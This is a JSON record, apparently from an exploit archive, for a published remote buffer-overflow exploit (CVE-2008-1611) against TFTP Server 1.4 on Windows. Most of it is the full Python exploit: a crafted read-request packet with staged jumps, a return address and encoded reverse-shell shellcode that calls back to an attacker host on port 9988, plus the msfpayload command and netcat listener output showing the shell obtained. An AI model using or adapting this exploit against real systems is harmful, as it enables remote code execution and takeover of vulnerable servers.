{"exploit":{"id":"EDB-18345","name":"TFTP Server 1.4 - ST 'RRQ' Remote Buffer Overflow","description":"TFTP Server 1.4 - ST 'RRQ' Remote Buffer Overflow","cves":["CVE-2008-1611"],"author":"b33f","published":"2012-01-10","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18345","path":"exploits/windows/remote/18345.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18345.py","vulnerabilities":[{"id":"CVE-2008-1611","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in TFTP Server SP 1.4 for Windows allows remote attackers to cause a denial of service or execute arbitrary code via a long filename in a read or write request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-1611","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-1611"},"updatedAt":"2024-08-07T08:24:42.931Z","retrievedAt":"2026-11-27T01:08:15.037Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18345.png?v=2","url":"https://exploitbin.com/exploits/EDB-18345","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18345/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18345/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n\n#---------------------------------------------------------------------------#\n# Exploit: TFTP SERVER V1.4 ST (RRQ Overflow)                               #\n# OS: Windows XP PRO SP3                                                    #\n# Author: b33f                                                              #\n#---------------------------------------------------------------------------#\n# Smashing the stack for fun and practise...                                #\n#                                                                           #\n# This tftp service have been pwned extensively:                            #\n# (1) Muts ==> WRQ Overflow                                                 #\n#     http://www.exploit-db.com/exploits/5314/                              #\n# (2) Molotov ==> WRQ Overflow                                              #\n#     http://www.exploit-db.com/exploits/10542/                             #\n# (3) tixxDZ ==> ERROR Overflow                                             #\n#     http://www.exploit-db.com/exploits/5563/                              #\n#                                                                           #\n#---------------------------------------------------------------------------#\n# After some simple fuzzing with spike I discovered that sending a Read     #\n# Request (RRQ) packet can also trigger a buffer overflow...                #\n#---------------------------------------------------------------------------#\n# It might take up to 30 seconds for some reason but the shell does appear  #\n# as expected....                                                           #\n#                                                                           #\n# root@bt:~# nc -lvp 9988                                                   #\n# listening on [any] 9988 ...                                               #\n# 192.168.111.128: inverse host lookup failed: Unknown server error         #\n# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1072        #\n# Microsoft Windows XP [Version 5.1.2600]                                   #\n# (C) Copyright 1985-2001 Microsoft Corp.                                   #\n#                                                                           #\n# C:\\Program Files\\TFTPServer>                                              #\n#---------------------------------------------------------------------------#\n\nimport socket\nimport sys\n\nhost = '192.168.111.128'\nport = 69\n\ntry:\n      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nexcept:\n      print \"socket() failed\"\n      sys.exit(1)\n\n#msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\\x00'\n#x86/shikata_ga_nai succeeded with size 341 (iteration=1)\nshell = (\n\"\\xbb\\x3c\\xef\\xdb\\xc5\\xdb\\xdd\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\\xb1\"\n\"\\x4f\\x31\\x5a\\x14\\x83\\xc2\\x04\\x03\\x5a\\x10\\xde\\x1a\\x27\\x2d\\x97\"\n\"\\xe5\\xd8\\xae\\xc7\\x6c\\x3d\\x9f\\xd5\\x0b\\x35\\xb2\\xe9\\x58\\x1b\\x3f\"\n\"\\x82\\x0d\\x88\\xb4\\xe6\\x99\\xbf\\x7d\\x4c\\xfc\\x8e\\x7e\\x61\\xc0\\x5d\"\n\"\\xbc\\xe0\\xbc\\x9f\\x91\\xc2\\xfd\\x6f\\xe4\\x03\\x39\\x8d\\x07\\x51\\x92\"\n\"\\xd9\\xba\\x45\\x97\\x9c\\x06\\x64\\x77\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70\\x7e\\xb8\\x0b\\x06\\x7f\\x95\\xfd\\xe6\\xce\\x40\"\n\"\\xb8\\x19\\xfe\\x04\\x4c\\x62\\xe2\\xb4\\xb3\\xb9\\xa6\\xc5\\xf9\\xe3\\x8f\"\n\"\\x4d\\xa4\\x76\\x92\\x13\\x57\\xad\\xd1\\x2d\\xd4\\x47\\xaa\\xc9\\xc4\\x22\"\n\"\\xaf\\x96\\x42\\xdf\\xdd\\x87\\x26\\xdf\\x72\\xa7\\x62\")\n\n#---------------------------------------------------------------------------#\n# (1) Stage1: 0x00409605 TFTPServer.exe - PPR                               #\n#             => 3-byte overwrite using the mandatory protocol null-byte.   #\n# (2) Stage2: jump back 5-bytes \"\\xEB\\xF9\" so we have room for a far jump.  #\n# (3) Stage3: jump back 1490-bytes to the beginning of our buffer.          #\n# (4) Stage4: reverse shell port 9988 - size 341                            #\n#---------------------------------------------------------------------------#\n\nstage4 = \"\\x90\"*50 + shell\nstage3 = \"\\xE9\\x2E\\xFA\\xFF\\xFF\"\nstage2 = \"\\xEB\\xF9\\x90\\x90\"\nstage1 = \"\\x05\\x96\\x40\"\n\nfilename = stage4 + \"A\"*(1487-len(stage4)) + stage3 + stage2 + stage1\n\n\nmode = \"netascii\"\nyoulose = \"\\x00\\x01\" + filename + \"\\x00\" + mode + \"\\x00\"\ns.sendto(youlose, (host, port))","sha256":"c7614d0e02d2764d8ecf6df5b632e2df2c5c73ab303a0d77ee83825f1dd312ce","bytes":5056,"fetchedAt":"2026-11-27T01:08:11.846Z","encoding":"utf-8 (display only; download retains original bytes)"}